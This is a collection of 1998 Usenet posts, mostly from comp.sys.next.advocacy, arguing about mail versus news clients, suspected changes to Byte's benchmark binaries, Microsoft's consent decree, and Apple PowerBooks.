>any better than the Network Computer, then called a terminal. They also
>made emulators in software so that you could run all of your PC software on
>their Big Fuckin Server. Too bad, Age and Guile lost it. Mr. pure ended
>up with no biz, and Youth and Enthusiasm got pies in the face and crap for
>being in the right place at the right time. Well, some people now think
>that Youth and Enthusiasm should change their name to Age and Guile. These
>same folks also think that the Big Fuckin Server is the wave of the future.
I see you choose to leave out Plan9?
http://plan9.bell-labs.com/plan9/index.html
If "Youth and Enthusiasm" were championing a future along the lines of
Plan9, I'd probably say they might not be much like Age and Guile.
But it means little for "Youth and Enthusiasm" to champion anything,
since, for instance, "Youth and Enthusiasm" were championing "Cairo" two
years ago, an OO version of NT, and what was supposed to be NT 5. Where,
oh where, is Cairo now?
> Youth and Enthusiasm may no longer be as young and enthusiastic as they
>once were, and they may not be as pure as some people think they should be.
> True, they are the Current Main Thing, but at least they're still aiming
>at the personal computer rather than a new priesthood.
It is not either/or. And the consumer should have the right to choose
their own destiny from a spectrum of options. Binary options are but one
bit away from no options at all.
Would you call AFS and revrdist a priesthood?
>And all the people
>chanting "burn the Castle of the Current Main Thing" sound a whole lot like
>the original Age and Guile. They think that the users are too damn stupid
>to do their own thing since the users are obviously not buying what they
>should, and since what they are buying is obviously not as good as it
>should be.
How about: due to a series of events whose outcomes have formed a
composite vector that has influenced the direction of popular technology
into the domains of increasing complexity, the degree of tractability for
determining applicability of technological solutions has gone down in
proportion to that vector. This, in turn, has created a positive feedback
loop increasing complexity as choise is wrested from the consumer into the
hands of the technology makers and IS/IT which seeks to further its own
strength and numbers with increasing complexity of the products.
>I guess you had to be there when the original Age and Guile
>were in charge to really appreciate the joke.
I guess you had to be there when the campaigns of FUD first began.
--
Nathan Raymond
http://www.everythingmac.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8pz39.83v59519v5hl4N@roxboro0-034.dyn.interpath.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <354f7928.0@news.depaul.edu> <6indtv$c0h$5@ns3.vrx.net> <rmcassid-0505981451530001@dante.eng.uci.edu> <6ip8au$oum$10@ns3.vrx.net> <SCOTT.98May6131834@slave.doubleu.com> <6irt0u$r1i$2@ns3.vrx.net> <6iv77u$j0f$1@crib.bevc.blacksburg.va.us> <6iup7q$7c9$1@ns3.vrx.net> <6ivgsg$jfl$1@crib.bevc.blacksburg.va.us> <6iv3d3$ekq$1@ns3.vrx.net> <1d8pv67.7o787lqz5wfjN@roxboro0-034.dyn.interpath.net> <35536622.3B7@CONVEX.COM> <1d8pxjx.w9aixr1wsu2cnN@roxboro0-034.dyn.interpath.net> <3553702A.573D@CONVEX.COM>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Fri, 08 May 1998 21:03:41 GMT
NNTP-Posting-Date: Fri, 08 May 1998 14:03:41 PDT
Michael Peck <MJPECK@CONVEX.COM> wrote:
> John Moreno wrote:
>
> > No, specialized apps need apply. Which I disagree with, mail and news
> > are different and have different needs, handling them both well can be
> > tricky, handling them both well in the same program is even harder. And
> > they don't NEED to be handled well by the same program.
>
> Again, I disagree, this time with the implicit suggestion that the
> increased difficulty doesn't yield the benefits Maury claims in what you
> quoted above.
Well, I'll agree that it can, but not that it will, or is even more
likely too. Nor with other statements that's he's said which indicate
that mail and news are basically the same thing. They generally have
two different purposes, although they don't have to - but when they
don't people tend to complain (spam [I've never heard anybody complain
as loudly about spam in ngs as they do for private mail], "hey you want
to come over friday for pizza").
--
John Moreno
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: 8 May 1998 21:17:59 GMT
Message-ID: <6ivsq7$hsu$1@newsfep4.sprintmail.com>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981313420001@qburst.msfc.nasa.gov>
<ericb-0805981505460001@132.236.171.104> <djboccip-0805981516390001@qburst.msfc.nasa.gov>
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Cc: djboccip@hiwaay.net
In <djboccip-0805981516390001@qburst.msfc.nasa.gov> Dennis J. Boccippio
wrote:
In article <djboccip-0605981313420001@qburst.msfc.nasa.gov>,
> > djboccip@hiwaay.net (Dr. Dennis J. Boccippio) wrote:
> >
> >
> > > Some other points on this. The BYTEmark binary, if you download it
> > > today, is identical to that from 6 April (previous time I downloaded
it),
> > > and still at DR/3. _If_ there was a change, it was well more than
> > > "a couple of weeks ago".
I would say it was beginning of April
> > > Not to mention that the folder creation date for DR/3 is 7 February
1996.
> > > Either Byte insidiously placed a new binary in the _same_ DR/3
folder,
> > > or you've gotten this wrong.
> >
> > Up until a few months ago, the archive you got from BYTE contained two
> > executables, one compiled with CW8 and one with MCC 2.0. The docs also
> > specified the optimization settings that were used.
> >
> > I real-downloaded this sometime this year, but I don't recall when (I can
> > probably check my machine at home, since I think I still have the
original
> > archive). But a few weeks ago a friend told me that BYTE had a "new"
> > release. Although their web page never mentioned a change, you now get
> > only a single Mac binary, and it's much faster than either of the
previous
> > ones.
Byte *INSIDIOUSLY" placed a new binary in the same dr/3 folder. Note the
"insidiously is your words, not mine.
> (1) whatever was used for the Snail Ad was _not_ CW8, but likely mcc 2 or
3.
It was motorola 3 developer release. Is mrc motorola?
> (3) We still have no clear evidence of Apple "tweaking" its tests
Well we have two things.
1) byte tests showing the g3 266 to get between 5.5 and 7.5 depending which
binary was used
2) Apple has its employees take the source into its own APple labs, and using
another compiler than byte used, getting 9.0. This compiler they used had
been discontinued and people cant even purchase it or get a copy of it.
> (4) Byte never claims to have used Apple's tests
See 1 and 2 from above. Byte used moto 2 and cw 8, and got low scores.
Apple comes along and uses something else and gets a high score. Eric
bennet is anonymously sent the binary apple used, and it uses moto 3 dr.
Then the 2 low scoring binaries are removed from byte, and a new one, which
coincidentally now uses moto 3, the same compiler apple used is now on the
web site.
This, a compiler which has been stopped and wont be sold nor worked on
anymore.
Again, if this scenario happened and it we substitute "intel" for "Apple", we
know what we would all conclude
> (5) The only "fishy" thing is that Byte removed CW8 binaries, and changed
> the mcc binary from 2 to DR3, despite elsewhere on their web site
> bragging about constant binaries
You forgot a couple of things. That moto 3.0 dr is what apple used for its
tests (see above about ericb), that people complained that byte wasnt near
the score apple was claiming, and shortly after this the binaries were
switched to the faster scoring binary, which used the same compiler apple
used. Plus add that moto 3 dr was put in maintance mode shortly after they
stopped cloning
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Fri, 08 May 1998 15:10:00 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35532048.FBCA7A1C@nstar.net>
References: <6icrin$6ra@newsb.netnews.att.com> <6ip8au$oum$10@ns3.vrx.net> <SCOTT.98May6131834@slave.doubleu.com> <6irt0u$r1i$2@ns3.vrx.net> <6iv77u$j0f$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> > Quite often I find myself with two messages from the same thread open,
> > comparing them side by side. At a minimum the system needs to put messages
> > in windows IMHO.
>
> That would be completely unmanageable if it were the default behavior.
> Even if you have messages in a messages window, moving on to the next
> message needs to replace the contents of that window. Perhaps with the
> option to clone a new message window for comparisons.
Sort of like the Netscape Communicator mail client.
MJP
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 8 May 1998 16:24:37 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ivbk5$k58$2@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
<354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com>
<6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us>
<6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us>
<6infcq$c0h$6@ns3.vrx.net> <1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net>
<6ip7tl$oum$7@ns3.vrx.net> <1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net>
<6iqsmp$h86$1@cronkite.cygnus.com> <6irrnu$r1i$1@ns3.vrx.net>
<1d8nl27.1biqyk61nk71kqN@roxboro0-028.dyn.interpath.net> <6isc63$9ih$2@ns3.vrx.net>
<1d8ny3o.1pmrnv4cizmb5N@roxboro0-028.dyn.interpath.net> <35520F22.1486@CONVEX.COM>
<geordie-0805981523170001@130.130.117.53>
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Cc: geordie@chapman.com
In <geordie-0805981523170001@130.130.117.53> Geordie Korper claimed:
> The mail server on my office LAN is not POP based and it does indeed push
> the mail to the client.
Hmmm, correct me if I'm wrong but doesn't it push it to a file on the drive
which the client periodically polls to see if there's new mail?
> that need my immediate attention. I use news to keep me informed in my
> industry when I am not dealing with the emergencies that come in email.
However people do NOT use news in many cases where they should. For
instance if your company has more than one person, mailto:s on the corporate
web page end up going out to lists. This is so all the mail gets answered
and that everyone sees the messages. Yet it also often means that several
people end up replying to the same message. Instead if the message in
question were placed into a private newsgroup, then responses and messages
are equally shared.
Another good example is that every mail list I've seen _should_ be replaced
by a group.
Maury
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 8 May 1998 18:04:48 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6ivvi0$js3$1@crib.bevc.blacksburg.va.us>
References: <6icrin$6ra@newsb.netnews.att.com> <6indtv$c0h$5@ns3.vrx.net> <rmcassid-0505981451530001@dante.en <6ivb91$k58$1@ns3.vrx.net>
In article <6ivb91$k58$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> > I believe the point is that the user has to mainly ignore the feature
> > for it to work.
> That sounds like natural design to me!
>
> Use normal command - get normal behaviour.
> Use new command - get new behaviour.
My ORIGINAL point was that if the DEFAULT behavior is to always open
a new window for each new message, then BY DEFAULT the interface will
be unmangageable. Your response was that many newsreaders have two
ways of displaying messages, and my response was that if you're reading
messages all the time in a way that always uses the same window for each
new message, then you are not using that behavior! In other words,
I said that it would be unmanageable IF you HAD TO open a new window
for each article in a newsgroup and you replied "Don't do that". Duh!!!
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 08 May 1998 21:58:59 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ivv73$38k$1@nnrp1.dejanews.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu>
In article <rmcassid-0705980005120001@dialin33419.slip.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) wrote:
>
> In article <6ir7ua$14g$1@nnrp1.dejanews.com>, dpetticord@hotmail.com wrote:
>
> > Half a dozen?
>
> I don't claim that half a dozen were addressed by the decree, only that
> they led up to it. There are numerous claims leading up to the current
> action, only a few are large enough to take a serious stand on. That
> doesn't mean the others didn't take place. I seem to recall reading quite
> a few other complaints in some of the documents sent to the DOJ that were
> not at all addressed.
>
I could say something about "innocent until proven guilty" but I understand
your point. What got me concerned was your assumption that the quantity of
allegations somehow equates to a degree of guilt. This is especially true
when you made a sweeping generalization without even listing unproven
claims.
> > As understand it, the principle complaint was Microsoft's practice of
> > "per-processor licensing". This is where Microsoft gave favorable terms
> > to OEMs that agreed to pay licensing fees based on ALL the PCs they
shipped.
> > The legality or illegality of this practice has never been determined.
> > Rather than take the chance, Microsoft agreed to stop this practice.
>
> That was the big one, yes. It would center primarily around anti-trust
> concerns as MS was using it's market power in ways that would very, very
> likely be found unconstitutional at certain times in our history. This may
> not be one of those times, as unfortunately our justices and legistlators
> position on anti-trust tends to ebb and flow. For example, the aerospace
> industry will likely be able to establish a monopoly in the interests of
> military efficiency, and in terms of inter-national competition.
Oops, too late, the ebb and flow has reversed itself already. Lockheed
Martin was prevented from purchasing Northrop Grumman. Is it possible
Microsoft got caught up in this pendulum swing?
>Same
> holds for MS on the latter. Nobody wants to take an industry that we
> clearly dominate and weaken it in any way. However, some claim that MS's
> position has already weakened the sofware industry - others claim that any
> action against MS would weaken the industry. My position is simple:
> competition is like entropy, it takes energy to create order. A single
> company is a very ordered state, therefore not much energy is being
> expended. To a market economy, energy is money, therefore competition
> helps the economy.
>
Interesting analogy. I suspect we will shortly get into "good" verses "right"
issues. I say hopefully, because that means we are arguing about the real
issue.
Let me start by pointing out that, in general, individuals' "rights" should
not be violated just because it is "good" for society. Wiretapping every
phone would be "good" for society because it would reduce crime, but we
don't do it because of the violation of our rights.
Corporations have rights too.
> > There were questions about "Vaperware", but the DOJ argued forcefully
> > that the was no evidence of illegal behavior concerning this area.
> > It was not addressed in the Consent Agreement.
>
> You need to prove intent in a situation like that. MS could just claim
> that they were idiots. Too tough to pursue.
>
Good point. It is close to the one the DOJ argued in 1995.
> > Their was also an accusation that Microsoft was forcing OEMs to license
> > MSDOS in order to get licenses for Windows. This resulted in the infamous
> > Section IV (i) of the consent agreement. According to Microsoft, they
> > agreed to the licensing restriction ONLY after they were assured they
> > could "integrate" the two separate products into one product (Windows95).
>
> And it is that part of the integration section that MS is now extending to
> ham sandwiches. Doesn't fly.
>
We are getting to the point. Why can't Microsoft integrate Ham Sandwiches?
The wording of Section IV obviously implies that Microsoft can integrate
separate products (otherwise why would the exception clause be in a section
about separate products). Early DOJ interpretations got into circular
arguments. They became "separate products can only be integrated if the
result is one indivisable product". But if the term "integrated products"
was to mean "one product" then their was no reason for the exception clause.
Nope, the DOJ has to provide a historically defendable reason why Microsoft
can "integrate" separate products but not Internet Explorer.
Pointing to "ham sandwiches" makes for good press, but what legal definition
(or Consent Agreement words) makes a ham sandwich different and distingishable
from any other separate product that Microsoft could integrate into Windows95?
The DOJ gave up arguing against the "ham Sandwich" before the Appellate
Court. The DOJ had to concede that a separate product was a separate product
and that Microsoft was allowed to "integrate" separate products.
> > That is three accusations and only two were addressed in the consent
decree.
> > Can you name three or four more?
>
> There were tons others that weren't addressed by the consent decree. Stac,
> stealing Quicktime code just to name two that were reasonably close in
> time to the action. The latter is rumored to be what brought about a hefty
> investment by MS in Apple last August (and I'm not referring to the stock
> purchase). MS lost on Stac and promptly put them out of their misery. I'm
> sure with a few moments of research I could come up with a few more but
> I'm at the slow end of a 14.4 connection right now... take pity on me.
>
pity taken. Thanks for the references.
<snip>
> The Supreme Courts involvement is not solely limited to the contract, as
> it would also apply to a broader anti-trust case. MS is using it's power
> in the OS marketplace to leverage control of an unrelated market -
> browsers. The two just happen to coinside - so you pick the easier fight
> first, that being the consent decree as it has fewer words to argue over,
> at the very least.
>
I agree with you. This should be (will soon be?) an anti-trust argument.
The Contempt Case was simpler. Unfortunately for the DOJ is was also
wrong. The Consent Decree allows for modifying the agreement. I believe
the DOJ should have tried that tactic first.
> > So, what was agreed to in 1994? Was it what Microsoft suggests or...
> >
> > A. "Microsoft is prohibited from tying two products together unless they
> > are one product as defined by anti-trust laws."
>
> That would be the anti-trust approach.
>
Anti-trust, not a violation of the Consent Agreement.
> > B. "Microsoft is prohibited from tying two products together, but they can
> > develop Integrated Products as long as they also provide a non-integrate
> > version of the OS."
>
> That would be a generous out to the above. This way MS is not forcing the
> hand of the market who now have a choice in browsers. Allowing MS to
> continue to sell a bundled product no longer carries the same implications
> if they *only* carry a bundled product.
>
This is a remedy, not a violation. You can't use a remedy to convict.
This is NOT the remedy described in the Consent Agreement.
> > C. "Microsoft is prohibited from tying two products together unless the
> > added product is a newly developed function integrated into the existing
> > OS."
>
> That is an interpretation of the consent apparoach.
>
We are back to the circular arguments. Functions are not separate products.
There would be no reason for the exception clause.
> > D. "Microsoft is prohibited from tying two products together unless the
> > industry generally agrees the combination of the two products makes
sense."
>
> That's silly. It has nothing to do with their combination, rather with
> their status as separate, in which case it is a restatement of A.
>
agreed. People have argued it and the DOJ has quoted them.
> > E. "Microsoft is probitited from tying two products together unless they
> > are packaged together as an integrated package as long as the non-OS
product
> > is not also marketed separately by Microsoft."
>
> Is there any other case of this occurring where it might come up? Or is it
> merely a subset of one of the above?
>
> > The DOJ has argued all of the above definitions. Microsoft has been
> > consistently adhering to the one "plausible" definition throughout this
> > case. How do YOU interpret the following words...
> >
> > (E) Microsoft shall not enter into any License Agreement in
> > which the terms of that agreement are expressly or impliedly
> > conditioned upon:
> > (1)the licensing of any other Covered Product, Operating
> > System Software product or other product (provided, however, that
> > this provision in and of itself shall not be construed to prohibit
> > Microsoft from developing integrated products)
>
> The question is whether IE and 95 (or 98) are integrated. I don't see that
> they are. Rather they seem to be bundled with an API between them. I'd
> call IE an Operating System Software product that is being licensed. If
> you have any doubt, MS has the IE license right on their web page.
>
Sorry, but the question Contact Law asks, "What was agreed to in 1994?"
Was it the understanding Microsoft was allowed to "bundle" two separate
products an call it an Integrated Product? Microsoft points to MSDOS and
Windows as an example of what was meant in 1994.
> > By the way, I believe the DOJ's current definition is "E". See
> > http://www.usdoj.gov/atr/cases3/micros/1582.htm
> > starting with...
> > "Microsoft is permitted by the proviso to develop any integrated product
> > it wishes without violating Section IV(E)(i)..."
>
> Specifically, that would seem to be the case. I don't see what more they
> should pursue until a need arises, however. Personally, I think they
> should be after (A), but prudence dictates that such an action is unlikely
> without the product being willfully delayed until 2003. The DOJ might win,
> after Windows has gone through two more revisions and had it's name
> changed to protect the innocent.
>
> > I have heard one consistent argument against Microsoft's arguments.
> > That is Microsoft's interpretation of the "integrated products" phrase
> > severly weakens this section's effectivity. This is true, but it is
> > also true that the DOJ was more interested in "per processor" licensing
> > then in this side issue. In short, I believe the DOJ agreed with
Microsoft
> > in 1994. They are now trying to fix that decision and rallying industrial
> > and political muscle to support their bending of laws and district court
> > rules.
>
> I think they are interested in the bigger ruling, but realize that they
> can get 80% of what they need for 20% of the effort by taking this route.
I disagree.
Thanking for your Thoughtful Arguments,
David Petticord
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 8 May 1998 11:10:50 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6iup7q$7c9$1@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <6ip8au$oum$10@ns3.vrx.net>
<SCOTT.98May6131834@slave.doubleu.com> <6irt0u$r1i$2@ns3.vrx.net>
<6iv77u$j0f$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6iv77u$j0f$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> That would be completely unmanageable if it were the default behavior.
This is the default behaviour of almost all newsreaders I know - a double
click opens a new window, whereas a "get next message" (often space) reuses
the same window. Works perfectly.
> Even if you have messages in a messages window, moving on to the next
> message needs to replace the contents of that window. Perhaps with the
> option to clone a new message window for comparisons.
Just double click on the other message in the list.
Maury
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Fri, 08 May 1998 15:46:41 -0700
Organization: Digital Universe Corporation
Message-ID: <35538B51.C5BFA834@alum.mit.edu>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com>
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Henry McGilton wrote:
> I have expressed this opinion many times before, but I'll
> express it again: while you're all looking anxiously over
> your shoulders at Microsoft, the company that will reduce
> Microsoft to rubble, IBM-style, is probably six blokes in a
> garage somewhere.
I can assure you that IF a company exists that will reduce Microsoft to
"rubble", it won't be a "start-up" 6-person company that develops a new
operating system. For it is simply impossible to compete with a company
(Microsoft) that:
1. Pre-announces astronomically unrealistic ship dates for it's operating
systems in order to insure market share and keep customers "baited".
2. Enforces anti-competitive bundling agreements with hardware manufacturers
forcing them to pay for a Windows license even if Windows will never be
installed on that new machine.
3. Threatens to drop hardware manufacturers from the "preferred list" if they
refuse to go along with certain bundling agreements.
4. Unashamedly copies features and UI designs from other operating systems and
markets them as new innovations (ever hear of Windows NT - New Technology)?
5. Uses their majority market share (gotten via anti-competitive bundling
agreements) as a vehicle to pressure their rip-off web browser onto the desktops
of tens of millions of people. The fact that the browser is given away for free
(resulting in a financial loss) indicates that the company will go to the
anti-competitive extreme of "dumping" in order to secure marketshare and reduce
their competitors, who must charge for their web browsers in order to stay
alive, to rubble.
Eric
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 8 May 98 10:16:06
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May8101606@slave.doubleu.com>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
<354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com>
<6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us>
<6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us>
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<6ip7tl$oum$7@ns3.vrx.net>
<1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net>
<6iqsmp$h86$1@cronkite.cygnus.com> <6irrnu$r1i$1@ns3.vrx.net>
<1d8nl27.1biqyk61nk71kqN@roxboro0-028.dyn.interpath.net>
<6isc63$9ih$2@ns3.vrx.net>
<1d8ny3o.1pmrnv4cizmb5N@roxboro0-028.dyn.interpath.net>
<35520F22.1486@CONVEX.COM>
<1d8o1xu.1yrqi911iuxkv7N@roxboro0-028.dyn.interpath.net>
<ant0810050b0LJLo@om107.acorn.co.uk>
In-reply-to: Dave Griffiths's message of Fri, 08 May 1998 11:53:05 +0100 (BST)
In article <ant0810050b0LJLo@om107.acorn.co.uk>,
Dave Griffiths <dgriffit@acorn.co.uk> writes:
The separation between news and mail is merely a historical
accident. If we were starting over we'd integrate them.
If we were starting over, mail would still be mail, and news would be
a variant on the web. I'd actually be somewhat surprised if there
weren't multi-POP ISPs (POP==Point Of Presence here) using nntpcache
or something of the sort to cache news from a central server, so that
news is transferred to POPs on a pull rather than push basis.
And wouldn't it be cool to have a variety of mail aliases (like
private newsgroups) instead of having to rely on stuff like
procmail to sort it for you (which is not an option for some of
us).
What's stopping you? It's certainly not the mail or news
infrastructure,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 8 May 98 10:10:41
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May8101041@slave.doubleu.com>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
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<6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us>
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<6infcq$c0h$6@ns3.vrx.net>
<1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net>
<6ip7tl$oum$7@ns3.vrx.net>
<1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net>
<6iqsmp$h86$1@cronkite.cygnus.com> <6irrnu$r1i$1@ns3.vrx.net>
<1d8nl27.1biqyk61nk71kqN@roxboro0-028.dyn.interpath.net>
<6isc63$9ih$2@ns3.vrx.net>
<1d8ny3o.1pmrnv4cizmb5N@roxboro0-028.dyn.interpath.net>
<35520F22.1486@CONVEX.COM> <SCOTT.98May7223535@slave.doubleu.com>
In-reply-to: scott@doubleu.com's message of 7 May 98 22:35:35
In article <SCOTT.98May7223535@slave.doubleu.com>,
scott@doubleu.com (Scott Hess) writes:
In article <35520F22.1486@CONVEX.COM>,
Michael Peck <MJPECK@CONVEX.COM> writes:
Also, you can choose to get one newsgroup. You can't generally
choose to read multiple pop3 mailboxes.
maury@remove_this.istar.ca (Maury Markowitz) replied:
Uhhh, I'll bet most people reading this thread have more than one
POP account. I have three.
"Michael J. Peck" <mjpeck@nstar.net> replied:
Why not?
"Generally" in a more general sense, folks. You can purchase as many
Pop3 boxes as you like, but you can't just go reading any Pop3 box you
choose. You _can_ go reading any newsgroup you choose.
In general,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Fri, 8 May 1998 18:14:30 -0500
Organization: Prairie Group
Message-ID: <MPG.fbd4dd53eb17576989685@news.supernews.com>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com>
In article <6ivef6$ntb$1@newsfep2.sprintmail.com>, macghod@concentric.net
says...
> They should do this NOW, actually more like YESTERDAY. Not 1999, the above
> models would be a awful price/performance for 1999
It's a thing called focus. They can't do everything at once, and the
biggest money is to be made at the top end. So long as they do follow
through, they've got a great start and I'm impressed.
(I'm still fighting temptation to cancel my G3 upgrade for my 1400c and
go for the new babies. The 1400c will meet my needs and is much more
economical. It really is. I keep telling myself that.)
Donald
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: 8 May 1998 18:16:11 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ivi5b$oou$1@ns3.vrx.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com>
<35538B51.C5BFA834@alum.mit.edu>
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Cc: eric@alum.mit.edu
In <35538B51.C5BFA834@alum.mit.edu> Eric Hermanson claimed:
> I can assure you that IF a company exists that will reduce Microsoft to
> "rubble", it won't be a "start-up" 6-person company that develops a new
> operating system. For it is simply impossible to compete with a company
> (Microsoft) that:
>
> 1. Pre-announces astronomically unrealistic ship dates for it's operating
> systems in order to insure market share and keep customers "baited".
Considering this is a problem that aflicts the majority of the software
development world, it's hard to "pin blame" on them for works in progress.
Sure there have been a few examples of this, but the last I can remember was
years ago (like a decade - Word 3.0 vs. MindWrite).
> 3. Threatens to drop hardware manufacturers from the "preferred list" if
they
> refuse to go along with certain bundling agreements.
Do you know of any specific examples of this. I mean _specific_, can you
name a company and what was threatened?
> 4. Unashamedly copies features and UI designs from other operating systems
and
> markets them as new innovations (ever hear of Windows NT - New Technology)?
NT was not marketted as a new UI design.
> 5. Uses their majority market share (gotten via anti-competitive bundling
> agreements) as a vehicle to pressure their rip-off web browser onto the
desktops
> of tens of millions of people. The fact that the browser is given away for
free
> (resulting in a financial loss) indicates that the company will go to the
> anti-competitive extreme of "dumping" in order to secure marketshare and
reduce
> their competitors, who must charge for their web browsers in order to stay
> alive, to rubble.
And _thats_ the real issue.
Maury
From: jason@jhste1.dyn.ml.org (Jason S.)
